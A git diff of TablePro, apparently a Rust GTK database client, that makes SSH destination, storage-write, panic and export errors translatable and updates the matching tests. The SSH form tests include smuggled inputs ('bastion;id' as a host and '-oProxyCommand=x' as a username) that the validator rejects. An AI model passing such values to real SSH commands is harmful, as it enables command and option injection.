diff --git a/linux/ROADMAP.md b/linux/ROADMAP.md index 724cc96079..b9e252a05d 100644 --- a/linux/ROADMAP.md +++ b/linux/ROADMAP.md @@ -186,7 +186,7 @@ What has to hold before the first release, for a user on GNOME 50 with Ubuntu 26 | 6 | Trusts the app with credentials: TLS, SSH tunnels, no password in plain text | Verify full by default, the TLS conformance suite, the Secret Service, and statement logging silenced | An outside security review | | 7 | Recovers when the network drops or the database restarts | Health monitoring, backoff and replay rules with their tests, a stopped container in the liveness tests, and a session test that restarts PostgreSQL: the read in flight runs again, the save in flight does not and leaves no row | Nothing | | 8 | Works with a screen reader, the keyboard alone and larger text | Label audits of the picker, the connect pages, the workspace, the connect dialog and preferences, labelled cells and real-key tests. Sorting from the cell menu, named filter fields and cell editors, focus handed on when a control hides, and announced query results and errors. Columns resize from the keyboard | A column resized from the keyboard comes back with expand on (`crates/app/src/ui/grid/column_factory.rs`), so it can draw wider than its saved width; the manual pass in the backlog | -| 9 | Sees no message that cannot be translated, even while only English ships | Every string the app writes is in the template. Core errors carry values the app words itself: CSV import, cell and JSON parsing, type and default syntax, the keyring, certificate files and unsupported features | The SSH host, username and jump host checks, and a failed write of the saved connections, still show the core crates' English detail | +| 9 | Sees no message that cannot be translated, even while only English ships | Every string the app writes is in the template. Core errors carry values the app words itself: CSV import, cell and JSON parsing, type and default syntax, the keyring, certificate files, unsupported features, the SSH host, username and jump host checks, and a failed write of the saved connections. A panic, an export encoder failure and an SSH failure with no sentence of its own show the app's words and log the detail | The ssh crate still words a few SSH details in English: the runtime directory checks, the exit status it puts before ssh's last line, a failed `ssh -G`, an ssh that would not start, and a master that exited without a line on stderr. A TLS failure the app does not classify shows the TLS library's text | | 10 | Uses the app daily for a week without an unrecoverable failure | Nothing yet | A dated week of daily use | ## Out of scope diff --git a/linux/changelog.d/3586.added.md b/linux/changelog.d/3586.added.md new file mode 100644 index 0000000000..38a33827e7 --- /dev/null +++ b/linux/changelog.d/3586.added.md @@ -0,0 +1 @@ +Translatable error details for the SSH host, username and jump host fields, and when saving connections fails. diff --git a/linux/crates/app/src/ui/error_text/files.rs b/linux/crates/app/src/ui/error_text/files.rs index 74bd45831a..3363077676 100644 --- a/linux/crates/app/src/ui/error_text/files.rs +++ b/linux/crates/app/src/ui/error_text/files.rs @@ -1,12 +1,14 @@ use std::io::ErrorKind; use std::path::Path; +use gtk4::glib; use tablepro_core::CertificateFileProblem; +use tablepro_storage::StorageError; use crate::i18n::{gettext, gettext_f, ngettext_f}; -/// A database file the file system refused, for a reason other than -/// permission or a missing file, which have their own variants. +/// A file the file system refused to write. The error's own text is +/// std's or GLib's, so only its kind is used. pub(super) fn file_io_message(path: &Path, kind: ErrorKind) -> String { let path = path.display().to_string(); let args = [("path", path.as_str())]; @@ -16,10 +18,32 @@ pub(super) fn file_io_message(path: &Path, kind: ErrorKind) -> String { } ErrorKind::ReadOnlyFilesystem => gettext_f("Could not write {path}: the disk is read-only.", &args), ErrorKind::FileTooLarge => gettext_f("Could not write {path}: the file is too large.", &args), + ErrorKind::PermissionDenied => gettext_f("TablePro is not allowed to write {path}.", &args), _ => gettext_f("Could not write {path}.", &args), } } +/// Why one of the app's own files could not be written, or `None` when +/// the failure was not the file system's. +pub fn storage_io_message(error: &StorageError) -> Option { + match error { + StorageError::Io { path, source } | StorageError::Permissions { path, source } => { + Some(file_io_message(path, source.kind())) + } + StorageError::Write { path, source } => Some(file_io_message(path, glib_file_error_kind(source))), + _ => None, + } +} + +fn glib_file_error_kind(error: &glib::Error) -> ErrorKind { + match error.kind::() { + Some(glib::FileError::Nospc) => ErrorKind::StorageFull, + Some(glib::FileError::Rofs) => ErrorKind::ReadOnlyFilesystem, + Some(glib::FileError::Acces | glib::FileError::Perm) => ErrorKind::PermissionDenied, + _ => ErrorKind::Other, + } +} + /// What is wrong with a CA, certificate or key file, as the part after /// "cannot be used:". pub(super) fn certificate_problem_text(problem: &CertificateFileProblem) -> String { @@ -55,6 +79,7 @@ fn size_text(bytes: usize) -> String { #[cfg(test)] mod tests { use std::collections::HashSet; + use std::path::PathBuf; use super::*; @@ -72,6 +97,53 @@ mod tests { assert!(!full.contains(&ErrorKind::StorageFull.to_string()), "{full}"); } + #[test] + fn a_refused_write_of_the_apps_own_file_is_worded_by_its_kind() { + let path = PathBuf::from("/home/ada/.local/share/tablepro/connections.json"); + let io = |kind: ErrorKind| StorageError::Io { + path: path.clone(), + source: std::io::Error::from(kind), + }; + let glib_write = |code: glib::FileError| StorageError::Write { + path: path.clone(), + source: glib::Error::new(code, "Failed to create file: No space left on device"), + }; + let cases = [ + (io(ErrorKind::StorageFull), "Could not write {path}: the disk is full."), + ( + io(ErrorKind::PermissionDenied), + "TablePro is not allowed to write {path}.", + ), + (io(ErrorKind::Interrupted), "Could not write {path}."), + ( + glib_write(glib::FileError::Nospc), + "Could not write {path}: the disk is full.", + ), + ( + glib_write(glib::FileError::Rofs), + "Could not write {path}: the disk is read-only.", + ), + ( + glib_write(glib::FileError::Acces), + "TablePro is not allowed to write {path}.", + ), + (glib_write(glib::FileError::Io), "Could not write {path}."), + ]; + + for (error, expected) in cases { + let expected = expected.replace("{path}", &path.display().to_string()); + assert_eq!( + storage_io_message(&error).as_deref(), + Some(expected.as_str()), + "{error:?}" + ); + } + assert_eq!( + storage_io_message(&StorageError::Schema("the disk is full".to_owned())), + None + ); + } + #[test] fn every_certificate_problem_has_its_own_words() { let problems = [ diff --git a/linux/crates/app/src/ui/error_text/mod.rs b/linux/crates/app/src/ui/error_text/mod.rs index 55d0d65d22..141cbb27c4 100644 --- a/linux/crates/app/src/ui/error_text/mod.rs +++ b/linux/crates/app/src/ui/error_text/mod.rs @@ -25,8 +25,10 @@ mod unsupported; pub use ddl::{build_error_text, refusal_text, save_blocker_text}; pub use driver::{config_message, driver_message}; pub use edit::edit_parse_message; +pub use files::storage_io_message; pub use operation::{connect_error_message, operation_error_message, task_failure_message}; pub use saved_connection::saved_connection_error_message; pub use script::script_diagnostic_message; +pub use ssh::ssh_destination_problem_text; pub use syntax::{expression_syntax_message, type_syntax_message}; pub use tls_remedy::{TlsRemedy, connect_remedy}; diff --git a/linux/crates/app/src/ui/error_text/operation.rs b/linux/crates/app/src/ui/error_text/operation.rs index 18d29f3f29..1b35a23583 100644 --- a/linux/crates/app/src/ui/error_text/operation.rs +++ b/linux/crates/app/src/ui/error_text/operation.rs @@ -1,7 +1,7 @@ use tablepro_core::browse::BrowseSqlError; use tablepro_core::dml::BuildSqlError; use tablepro_core::statement::SqlBuildError; -use tablepro_session::runtime::TaskFailure; +use tablepro_session::runtime::{TaskFailure, TaskPanic}; use tablepro_session::{ConnectError, OperationError}; use tablepro_storage::KeyringError; @@ -17,10 +17,7 @@ pub fn operation_error_message(error: &OperationError) -> String { OperationError::Sql(error) => sql_build_message(error), OperationError::Browse(error) => browse_message(error), OperationError::Build(error) => build_message(error), - OperationError::Panicked(panic) => crate::i18n::gettext_f( - "TablePro hit an internal error: {detail}", - &[("detail", panic.message())], - ), + OperationError::Panicked(panic) => panic_message(panic), OperationError::Cancelled => crate::i18n::gettext("Stopped."), OperationError::Closed => crate::i18n::gettext("The connection is closed."), } @@ -38,24 +35,25 @@ pub fn connect_error_message(error: &ConnectError) -> String { crate::i18n::gettext_f("This build of TablePro has no {driver} driver.", &[("driver", driver)]) } ConnectError::Cancelled => crate::i18n::gettext("The connection was cancelled."), - ConnectError::Panicked(panic) => crate::i18n::gettext_f( - "TablePro hit an internal error: {detail}", - &[("detail", panic.message())], - ), + ConnectError::Panicked(panic) => panic_message(panic), } } /// What to tell the user when the work itself died rather than failed. pub fn task_failure_message(failure: &TaskFailure) -> String { match failure { - TaskFailure::Panicked(panic) => crate::i18n::gettext_f( - "TablePro hit an internal error: {detail}", - &[("detail", panic.message())], - ), + TaskFailure::Panicked(panic) => panic_message(panic), TaskFailure::Aborted => crate::i18n::gettext("Stopped."), } } +/// The panic's text is about the code, in English, and the panic hook +/// has already written it to the journal. +fn panic_message(panic: &TaskPanic) -> String { + tracing::debug!(%panic, "shown as an internal error"); + crate::i18n::gettext("TablePro hit an internal error.") +} + fn sql_build_message(error: &SqlBuildError) -> String { match error { SqlBuildError::Dml(bind) => crate::i18n::gettext_f( diff --git a/linux/crates/app/src/ui/error_text/saved_connection.rs b/linux/crates/app/src/ui/error_text/saved_connection.rs index b454af2380..44825d9144 100644 --- a/linux/crates/app/src/ui/error_text/saved_connection.rs +++ b/linux/crates/app/src/ui/error_text/saved_connection.rs @@ -1,5 +1,6 @@ use tablepro_storage::StorageError; +use super::files::storage_io_message; use super::operation::task_failure_message; use super::secret::secret_message; use crate::services::saved_connection_error::SavedConnectionError; @@ -14,10 +15,8 @@ pub fn saved_connection_error_message(error: &SavedConnectionError) -> String { SavedConnectionError::Storage(StorageError::DocumentUnavailable(_)) => { crate::i18n::gettext("The saved connections could not be read, so nothing was changed.") } - SavedConnectionError::Storage(error) => crate::i18n::gettext_f( - "The saved connections could not be written: {reason}", - &[("reason", &error.to_string())], - ), + SavedConnectionError::Storage(error) => storage_io_message(error) + .unwrap_or_else(|| crate::i18n::gettext("The saved connections could not be written.")), SavedConnectionError::Task(failure) => task_failure_message(failure), } } @@ -39,9 +38,18 @@ mod tests { saved_connection_error_message(&SavedConnectionError::NotFound(Uuid::nil())), "The connection was deleted." ); - let written = saved_connection_error_message(&SavedConnectionError::Storage(StorageError::Schema( - "the disk is full".to_owned(), - ))); - assert!(written.contains("the disk is full"), "{written}"); + assert_eq!( + saved_connection_error_message(&SavedConnectionError::Storage(StorageError::Io { + path: "/home/ada/.local/share/tablepro/connections.json".into(), + source: std::io::Error::from(std::io::ErrorKind::StorageFull), + })), + "Could not write /home/ada/.local/share/tablepro/connections.json: the disk is full." + ); + assert_eq!( + saved_connection_error_message(&SavedConnectionError::Storage(StorageError::Schema( + "the connections write task failed".to_owned(), + ))), + "The saved connections could not be written." + ); } } diff --git a/linux/crates/app/src/ui/error_text/ssh.rs b/linux/crates/app/src/ui/error_text/ssh.rs index cef3751258..d3c5eae8a7 100644 --- a/linux/crates/app/src/ui/error_text/ssh.rs +++ b/linux/crates/app/src/ui/error_text/ssh.rs @@ -1,4 +1,4 @@ -use tablepro_core::SshFailure; +use tablepro_core::{SshDestinationPart, SshDestinationProblem, SshFailure}; /// One sentence per way OpenSSH can fail, each naming what to change. pub fn ssh_failure_message(failure: &SshFailure) -> String { @@ -11,9 +11,9 @@ pub fn ssh_failure_message(failure: &SshFailure) -> String { "TablePro's SSH helper is missing at {program}. Reinstall TablePro to connect over SSH.", &[("program", &program.display().to_string())], ), - SshFailure::InvalidDestination { detail } => crate::i18n::gettext_f( + SshFailure::InvalidDestination { problem } => crate::i18n::gettext_f( "The SSH host or jump host is not valid: {detail}", - &[("detail", detail)], + &[("detail", &ssh_destination_problem_text(problem))], ), SshFailure::ConfigRejected { detail } => crate::i18n::gettext_f( "ssh refused the configuration. Check ~/.ssh/config for this host: {detail}", @@ -92,6 +92,41 @@ pub fn ssh_failure_message(failure: &SshFailure) -> String { SshFailure::Protocol { detail } => { crate::i18n::gettext_f("ssh printed something unexpected: {detail}", &[("detail", detail)]) } - other => crate::i18n::gettext_f("SSH failed: {detail}", &[("detail", &other.to_string())]), + other => { + tracing::warn!(%other, "shown as an SSH failure with no sentence of its own"); + crate::i18n::gettext("The SSH connection failed.") + } + } +} + +/// What is wrong with a host, username or jump host as typed, as the +/// part after "is not valid:" or "cannot be used:". +pub fn ssh_destination_problem_text(problem: &SshDestinationProblem) -> String { + use SshDestinationPart::{Host, User}; + + match problem { + SshDestinationProblem::Empty { part: Host } => crate::i18n::gettext("the host name is empty"), + SshDestinationProblem::Empty { part: User } => crate::i18n::gettext("the username is empty"), + SshDestinationProblem::LeadingDash { part: Host } => crate::i18n::gettext("the host name starts with “-”"), + SshDestinationProblem::LeadingDash { part: User } => crate::i18n::gettext("the username starts with “-”"), + SshDestinationProblem::Whitespace { part: Host } => { + crate::i18n::gettext("the host name contains a space or a control character") + } + SshDestinationProblem::Whitespace { part: User } => { + crate::i18n::gettext("the username contains a space or a control character") + } + SshDestinationProblem::Character { part: Host, character } => crate::i18n::gettext_f( + "the host name contains “{character}”", + &[("character", &character.to_string())], + ), + SshDestinationProblem::Character { part: User, character } => crate::i18n::gettext_f( + "the username contains “{character}”", + &[("character", &character.to_string())], + ), + SshDestinationProblem::PortZero => crate::i18n::gettext("the port cannot be 0"), + SshDestinationProblem::NotAPort { text } => { + crate::i18n::gettext_f("“{text}” is not a port number", &[("text", text)]) + } + SshDestinationProblem::UnclosedBracket => crate::i18n::gettext("an IPv6 address is missing its closing “]”"), } } diff --git a/linux/crates/app/src/ui/error_text/tests.rs b/linux/crates/app/src/ui/error_text/tests.rs index 90c19f2898..e185c8165e 100644 --- a/linux/crates/app/src/ui/error_text/tests.rs +++ b/linux/crates/app/src/ui/error_text/tests.rs @@ -4,9 +4,10 @@ use tablepro_core::credentials::{SecretError, SecretKind}; use tablepro_core::sql_syntax::script::{OpenConstruct, ScriptDiagnostic}; use tablepro_core::{ ConfigError, DriverError, ErrorCategory, LossPhase, NetworkEndpoint, ReadOnlyRefusal, ServerCode, - ServerDiagnostics, SshFailure, StatementOutcome, TimeoutPhase, TlsFailure, TransportError, + ServerDiagnostics, SshDestinationPart, SshDestinationProblem, SshFailure, StatementOutcome, TimeoutPhase, + TlsFailure, TransportError, }; -use tablepro_session::runtime::TaskPanic; +use tablepro_session::runtime::{TaskFailure, TaskPanic}; use tablepro_session::{ConnectError, OperationError}; use tablepro_storage::KeyringError; @@ -339,6 +340,84 @@ fn an_unknown_key_says_what_the_configuration_allows() { assert!(reviewable.contains("review"), "{reviewable}"); } +#[test] +fn an_invalid_ssh_destination_is_worded_by_the_app() { + let message = ssh_failure_message(&SshFailure::InvalidDestination { + problem: SshDestinationProblem::Character { + part: SshDestinationPart::Host, + character: '$', + }, + }); + + assert_eq!( + message, + "The SSH host or jump host is not valid: the host name contains “$”" + ); +} + +#[test] +fn every_ssh_destination_problem_has_its_own_words() { + let problems = [ + SshDestinationProblem::Empty { + part: SshDestinationPart::Host, + }, + SshDestinationProblem::Empty { + part: SshDestinationPart::User, + }, + SshDestinationProblem::LeadingDash { + part: SshDestinationPart::Host, + }, + SshDestinationProblem::LeadingDash { + part: SshDestinationPart::User, + }, + SshDestinationProblem::Whitespace { + part: SshDestinationPart::Host, + }, + SshDestinationProblem::Whitespace { + part: SshDestinationPart::User, + }, + SshDestinationProblem::Character { + part: SshDestinationPart::Host, + character: ';', + }, + SshDestinationProblem::Character { + part: SshDestinationPart::User, + character: ';', + }, + SshDestinationProblem::PortZero, + SshDestinationProblem::NotAPort { text: "ssh".to_owned() }, + SshDestinationProblem::UnclosedBracket, + ]; + + let texts: Vec = problems.iter().map(ssh_destination_problem_text).collect(); + + for (problem, text) in problems.iter().zip(&texts) { + assert_ne!(text, &problem.to_string(), "{problem:?} shows its log text"); + } + assert_eq!( + texts.iter().collect::>().len(), + problems.len(), + "{texts:?}" + ); + assert_eq!(texts[7], "the username contains “;”"); + assert_eq!(texts[9], "“ssh” is not a port number"); +} + +#[test] +fn a_panic_shows_the_apps_sentence_and_never_the_panic_text() { + let panic = TaskPanic::from_payload(Box::new("index out of bounds: the len is 0".to_owned())); + + let messages = [ + operation_error_message(&OperationError::Panicked(panic.clone())), + connect_error_message(&ConnectError::Panicked(panic.clone())), + task_failure_message(&TaskFailure::Panicked(panic)), + ]; + + for message in messages { + assert_eq!(message, "TablePro hit an internal error."); + } +} + #[test] fn connect_error_text_covers_every_variant() { let errors = [ diff --git a/linux/crates/app/src/ui/export/export_failure_text.rs b/linux/crates/app/src/ui/export/export_failure_text.rs index 82deeec549..717a8f3d53 100644 --- a/linux/crates/app/src/ui/export/export_failure_text.rs +++ b/linux/crates/app/src/ui/export/export_failure_text.rs @@ -143,8 +143,9 @@ fn document_text(error: &RenderError) -> String { ("got", &format_thousands(*got as u64)), ], ), + // The encoder libraries' text is English only; the reporter logs it. RenderError::Xlsx(_) | RenderError::Csv(_) | RenderError::Flush(_) | RenderError::Utf8(_) => { - gettext_f("The file couldn't be built: {error}", &[("error", &error.to_string())]) + gettext("The file couldn't be built.") } } } @@ -364,6 +365,18 @@ mod tests { ); } + #[test] + fn an_encoder_failure_shows_the_apps_sentence_and_not_the_librarys() { + let errors = [ + RenderError::Xlsx("Worksheet name 'x' already in use".to_owned()), + RenderError::Flush(std::io::Error::other("failed to write whole buffer")), + ]; + + for error in errors { + assert_eq!(document(error), "The file couldn't be built."); + } + } + #[test] fn xml_names_the_column_with_a_control_character() { let text = failure_text( diff --git a/linux/crates/app/src/ui/session_window/connections.rs b/linux/crates/app/src/ui/session_window/connections.rs index 23f08826e4..eb53390104 100644 --- a/linux/crates/app/src/ui/session_window/connections.rs +++ b/linux/crates/app/src/ui/session_window/connections.rs @@ -148,8 +148,13 @@ impl SessionWindow { Err(error) => { tracing::warn!(%error, "could not save the edited connection"); input.deliver(SessionWindowInput::ShowToast(crate::i18n::gettext_f( - "The connection could not be saved: {error}", - &[("error", &error.to_string())], + "The connection could not be saved. {reason}", + &[( + "reason", + &crate::ui::error_text::saved_connection_error_message(&SavedConnectionError::Storage( + error, + )), + )], ))); } } @@ -592,7 +597,7 @@ impl SessionWindow { glib::spawn_future_local(async move { let reset = resetting.await; drop(held); - let error = match reset { + let reason = match reset { Ok(Ok(moved)) => { banner.set_revealed(false); toasts.add_toast(crate::ui::plain_toast( @@ -600,14 +605,16 @@ impl SessionWindow { )); return; } - Ok(Err(error)) => error.to_string(), - Err(error) => error.to_string(), + Ok(Err(error)) => { + tracing::warn!(%error, "could not reset the saved connections"); + crate::ui::error_text::storage_io_message(&error) + } + Err(failure) => { + tracing::warn!(%failure, "the saved connections reset task failed"); + Some(crate::ui::error_text::task_failure_message(&failure)) + } }; - tracing::warn!(%error, "could not reset the saved connections"); - toasts.add_toast(crate::ui::plain_toast(&crate::i18n::gettext_f( - "Could not reset the saved connections: {error}", - &[("error", &error)], - ))); + toasts.add_toast(crate::ui::plain_toast(&reset_failure_text(reason.as_deref()))); }); } } @@ -676,6 +683,16 @@ async fn read_connections_file(file: &gio::File) -> Result, String> { }) } +fn reset_failure_text(reason: Option<&str>) -> String { + match reason { + Some(reason) => crate::i18n::gettext_f( + "The saved connections could not be reset. {reason}", + &[("reason", reason)], + ), + None => crate::i18n::gettext("The saved connections could not be reset."), + } +} + /// The filter both file dialogs open with. Built fresh each time /// because a GtkFileFilter belongs to the dialog it is given to. fn json_filter() -> gtk::FileFilter { @@ -755,8 +772,36 @@ mod tests { ); let list_unreadable = import_failure_message(problem("/home/u/.local/share/connections.json"), chosen); assert!(!list_unreadable.contains("That file"), "{list_unreadable}"); - let disk_full = import_failure_message(StorageError::Schema("the disk is full".to_owned()), chosen); - assert!(disk_full.contains("the disk is full"), "{disk_full}"); + let disk_full = import_failure_message( + StorageError::Io { + path: "/home/u/.local/share/tablepro/connections.json".into(), + source: std::io::Error::from(std::io::ErrorKind::StorageFull), + }, + chosen, + ); + assert_eq!( + disk_full, + "Could not write /home/u/.local/share/tablepro/connections.json: the disk is full." + ); + } + + #[test] + fn a_failed_reset_says_why_in_the_apps_words() { + use tablepro_storage::StorageError; + + let read_only = StorageError::Io { + path: "/home/u/.local/share/tablepro/connections.json".into(), + source: std::io::Error::from(std::io::ErrorKind::ReadOnlyFilesystem), + }; + let readable = StorageError::Schema("the saved connections are readable; there is nothing to reset".to_owned()); + let text = + |error: &StorageError| reset_failure_text(crate::ui::error_text::storage_io_message(error).as_deref()); + + assert_eq!( + text(&read_only), + "The saved connections could not be reset. Could not write /home/u/.local/share/tablepro/connections.json: the disk is read-only." + ); + assert_eq!(text(&readable), "The saved connections could not be reset."); } #[gtk4::test] diff --git a/linux/crates/app/src/ui/ssh_inputs.rs b/linux/crates/app/src/ui/ssh_inputs.rs index 36784746aa..06711adfe8 100644 --- a/linux/crates/app/src/ui/ssh_inputs.rs +++ b/linux/crates/app/src/ui/ssh_inputs.rs @@ -1,10 +1,12 @@ use std::path::{Path, PathBuf}; use secrecy::{ExposeSecret, SecretString}; +use tablepro_core::SshDestinationProblem; use tablepro_ssh::{SshAuth, SshConfig, SshDestination}; use tablepro_storage::{SavedSshAuth, SavedSshConfig}; pub use crate::services::ssh_environment::SshEnvironment; +use crate::ui::error_text::ssh_destination_problem_text; /// How the SSH server is logged in to, in the order the combo shows /// them. OpenSSH does the work for each; the app only picks which one @@ -137,18 +139,17 @@ impl SshFormState { }; let user = Some(self.user.trim().to_owned()).filter(|user| !user.is_empty()); if let Some(user) = &user - && let Err(failure) = SshDestination::new("host", None, Some(user.clone())) + && let Err(problem) = SshDestination::new("host", None, Some(user.clone())) { - return Err(SshInputError::UserInvalid(failure.to_string())); + return Err(SshInputError::UserInvalid(problem)); } - if let Err(failure) = SshDestination::new(host, port, None) { - return Err(SshInputError::HostInvalid(failure.to_string())); + if let Err(problem) = SshDestination::new(host, port, None) { + return Err(SshInputError::HostInvalid(problem)); } let jump_hosts = match self.jump_hosts.trim() { "" => Vec::new(), list => { - SshDestination::parse_jump_list(list) - .map_err(|failure| SshInputError::JumpHostsInvalid(failure.to_string()))?; + SshDestination::parse_jump_list(list).map_err(SshInputError::JumpHostsInvalid)?; vec![list.to_owned()] } }; @@ -180,8 +181,7 @@ impl SshFormState { /// which secret the keyring should keep. pub fn inputs(&self) -> Result { let saved = self.saved()?; - let mut cfg = tablepro_session::connect::ssh_config(&saved) - .map_err(|failure| SshInputError::HostInvalid(failure.to_string()))?; + let mut cfg = tablepro_session::connect::ssh_config(&saved).map_err(SshInputError::HostInvalid)?; let secret_to_store = fill_secret(&mut cfg, self.password.clone(), self.passphrase.clone()); Ok(SshInputs { cfg, @@ -208,10 +208,10 @@ pub enum SshSecretToStore { #[derive(Debug, Clone, PartialEq, Eq)] pub enum SshInputError { HostRequired, - HostInvalid(String), + HostInvalid(SshDestinationProblem), PortOutOfRange, - UserInvalid(String), - JumpHostsInvalid(String), + UserInvalid(SshDestinationProblem), + JumpHostsInvalid(SshDestinationProblem), KeyPathRequired, } @@ -219,16 +219,19 @@ impl SshInputError { pub fn message(&self) -> String { match self { Self::HostRequired => crate::i18n::gettext("Enter the SSH server's host name or its alias."), - Self::HostInvalid(detail) => { - crate::i18n::gettext_f("The SSH host cannot be used: {detail}", &[("detail", detail)]) - } + Self::HostInvalid(problem) => crate::i18n::gettext_f( + "The SSH host cannot be used: {detail}", + &[("detail", &ssh_destination_problem_text(problem))], + ), Self::PortOutOfRange => crate::i18n::gettext("The SSH port must be a number from 1 to 65535."), - Self::UserInvalid(detail) => { - crate::i18n::gettext_f("The SSH username cannot be used: {detail}", &[("detail", detail)]) - } - Self::JumpHostsInvalid(detail) => { - crate::i18n::gettext_f("The jump hosts cannot be used: {detail}", &[("detail", detail)]) - } + Self::UserInvalid(problem) => crate::i18n::gettext_f( + "The SSH username cannot be used: {detail}", + &[("detail", &ssh_destination_problem_text(problem))], + ), + Self::JumpHostsInvalid(problem) => crate::i18n::gettext_f( + "The jump hosts cannot be used: {detail}", + &[("detail", &ssh_destination_problem_text(problem))], + ), Self::KeyPathRequired => crate::i18n::gettext("Choose the private key file."), } } @@ -262,6 +265,8 @@ fn fill_secret(cfg: &mut SshConfig, password: SecretString, passphrase: SecretSt #[cfg(test)] mod tests { + use tablepro_core::SshDestinationPart; + use super::*; fn rows(auth: SshAuthChoice) -> SshFormState { @@ -344,46 +349,87 @@ mod tests { host: String::new(), ..rows(SshAuthChoice::Agent) }, - "host required", + SshInputError::HostRequired, + ), + ( + SshFormState { + host: "bastion;id".to_owned(), + ..rows(SshAuthChoice::Agent) + }, + SshInputError::HostInvalid(SshDestinationProblem::Character { + part: SshDestinationPart::Host, + character: ';', + }), ), ( SshFormState { port: "70000".to_owned(), ..rows(SshAuthChoice::Agent) }, - "port", + SshInputError::PortOutOfRange, ), ( SshFormState { port: "0".to_owned(), ..rows(SshAuthChoice::Agent) }, - "port", + SshInputError::PortOutOfRange, ), ( SshFormState { user: "-oProxyCommand=x".to_owned(), ..rows(SshAuthChoice::Agent) }, - "user", + SshInputError::UserInvalid(SshDestinationProblem::LeadingDash { + part: SshDestinationPart::User, + }), ), ( SshFormState { jump_hosts: "jump1,,jump2".to_owned(), ..rows(SshAuthChoice::Agent) }, - "jump", + SshInputError::JumpHostsInvalid(SshDestinationProblem::Empty { + part: SshDestinationPart::Host, + }), + ), + ]; + for (state, expected) in cases { + assert_eq!(state.saved(), Err(expected)); + } + } + + #[test] + fn a_bad_row_says_what_is_wrong_in_the_apps_words() { + let host = SshDestinationProblem::Whitespace { + part: SshDestinationPart::Host, + }; + let user = SshDestinationProblem::Character { + part: SshDestinationPart::User, + character: '#', + }; + let jump = SshDestinationProblem::NotAPort { text: "ssh".to_owned() }; + let log_texts = [host.to_string(), user.to_string(), jump.to_string()]; + let cases = [ + ( + SshInputError::HostInvalid(host), + "The SSH host cannot be used: the host name contains a space or a control character", + ), + ( + SshInputError::UserInvalid(user), + "The SSH username cannot be used: the username contains “#”", + ), + ( + SshInputError::JumpHostsInvalid(jump), + "The jump hosts cannot be used: “ssh” is not a port number", ), ]; - for (state, row) in cases { - let error = state.saved().expect_err(row); - let matches = match row { - "host required" => error == SshInputError::HostRequired, - "port" => error == SshInputError::PortOutOfRange, - "user" => matches!(error, SshInputError::UserInvalid(_)), - _ => matches!(error, SshInputError::JumpHostsInvalid(_)), - }; - assert!(matches, "{row}: {error:?}"); + + for ((error, expected), log_text) in cases.into_iter().zip(log_texts) { + let message = error.message(); + + assert_eq!(message, expected); + assert!(!message.contains(&log_text), "{message}"); } } diff --git a/linux/crates/app/src/ui/workspace/health_banner.rs b/linux/crates/app/src/ui/workspace/health_banner.rs index 713c5593af..e5b72d4b64 100644 --- a/linux/crates/app/src/ui/workspace/health_banner.rs +++ b/linux/crates/app/src/ui/workspace/health_banner.rs @@ -185,7 +185,7 @@ impl WorkspaceModel { let forgotten = match forgotten { Ok(Ok(())) => Ok(()), Ok(Err(error)) => Err(forget_failure_detail(&error)), - Err(error) => Err(error.to_string()), + Err(failure) => Err(crate::ui::error_text::task_failure_message(&failure)), }; input.deliver(WorkspaceInput::OldHostKeyForgotten { failure, forgotten }); }, diff --git a/linux/crates/core/src/lib.rs b/linux/crates/core/src/lib.rs index e88cd26574..20f3ce7c55 100644 --- a/linux/crates/core/src/lib.rs +++ b/linux/crates/core/src/lib.rs @@ -51,6 +51,8 @@ mod server_info; mod server_name_override; mod session_fate; pub mod sql_syntax; +mod ssh_destination_part; +mod ssh_destination_problem; mod ssh_failure; pub mod statement; mod stop_request; @@ -122,6 +124,8 @@ pub use server_diagnostics::{ServerCode, ServerDiagnostics}; pub use server_info::ServerInfo; pub use server_name_override::ServerNameOverride; pub use session_fate::SessionFate; +pub use ssh_destination_part::SshDestinationPart; +pub use ssh_destination_problem::SshDestinationProblem; pub use ssh_failure::SshFailure; pub use stop_request::{StopReason, StopRequest}; pub use stream_summary::StreamSummary; diff --git a/linux/crates/core/src/ssh_destination_part.rs b/linux/crates/core/src/ssh_destination_part.rs new file mode 100644 index 0000000000..7dab988a06 --- /dev/null +++ b/linux/crates/core/src/ssh_destination_part.rs @@ -0,0 +1,17 @@ +use std::fmt; + +/// Which part of an SSH destination a problem is in. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum SshDestinationPart { + Host, + User, +} + +impl fmt::Display for SshDestinationPart { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str(match self { + Self::Host => "host", + Self::User => "user", + }) + } +} diff --git a/linux/crates/core/src/ssh_destination_problem.rs b/linux/crates/core/src/ssh_destination_problem.rs new file mode 100644 index 0000000000..b8a720b92c --- /dev/null +++ b/linux/crates/core/src/ssh_destination_problem.rs @@ -0,0 +1,29 @@ +use thiserror::Error; + +use crate::SshDestinationPart; + +/// What is wrong with an SSH host, username or jump host as typed. The +/// app words each one, so the variant carries values and no English. +#[derive(Debug, Clone, PartialEq, Eq, Error)] +pub enum SshDestinationProblem { + #[error("the {part} is empty")] + Empty { part: SshDestinationPart }, + + #[error("the {part} starts with '-'")] + LeadingDash { part: SshDestinationPart }, + + #[error("the {part} contains spaces or control characters")] + Whitespace { part: SshDestinationPart }, + + #[error("the {part} contains {character:?}")] + Character { part: SshDestinationPart, character: char }, + + #[error("port 0 is not a valid port")] + PortZero, + + #[error("{text:?} is not a port number")] + NotAPort { text: String }, + + #[error("an IPv6 host is missing its closing ']'")] + UnclosedBracket, +} diff --git a/linux/crates/core/src/ssh_failure.rs b/linux/crates/core/src/ssh_failure.rs index 493130e8ed..24ee3f3227 100644 --- a/linux/crates/core/src/ssh_failure.rs +++ b/linux/crates/core/src/ssh_failure.rs @@ -2,7 +2,7 @@ use std::path::PathBuf; use thiserror::Error; -use crate::ErrorCategory; +use crate::{ErrorCategory, SshDestinationProblem}; #[derive(Debug, Clone, PartialEq, Eq, Error)] #[non_exhaustive] @@ -13,8 +13,8 @@ pub enum SshFailure { #[error("the askpass helper {} was not found", .program.display())] AskpassHelperMissing { program: PathBuf }, - #[error("invalid SSH destination: {detail}")] - InvalidDestination { detail: String }, + #[error("invalid SSH destination: {problem}")] + InvalidDestination { problem: SshDestinationProblem }, #[error("ssh rejected the configuration: {detail}")] ConfigRejected { detail: String }, @@ -98,6 +98,12 @@ impl SshFailure { } } +impl From for SshFailure { + fn from(problem: SshDestinationProblem) -> Self { + Self::InvalidDestination { problem } + } +} + #[cfg(test)] mod tests { use super::*; @@ -122,7 +128,9 @@ mod tests { ErrorCategory::Configuration, ), ( - SshFailure::InvalidDestination { detail: detail() }, + SshFailure::InvalidDestination { + 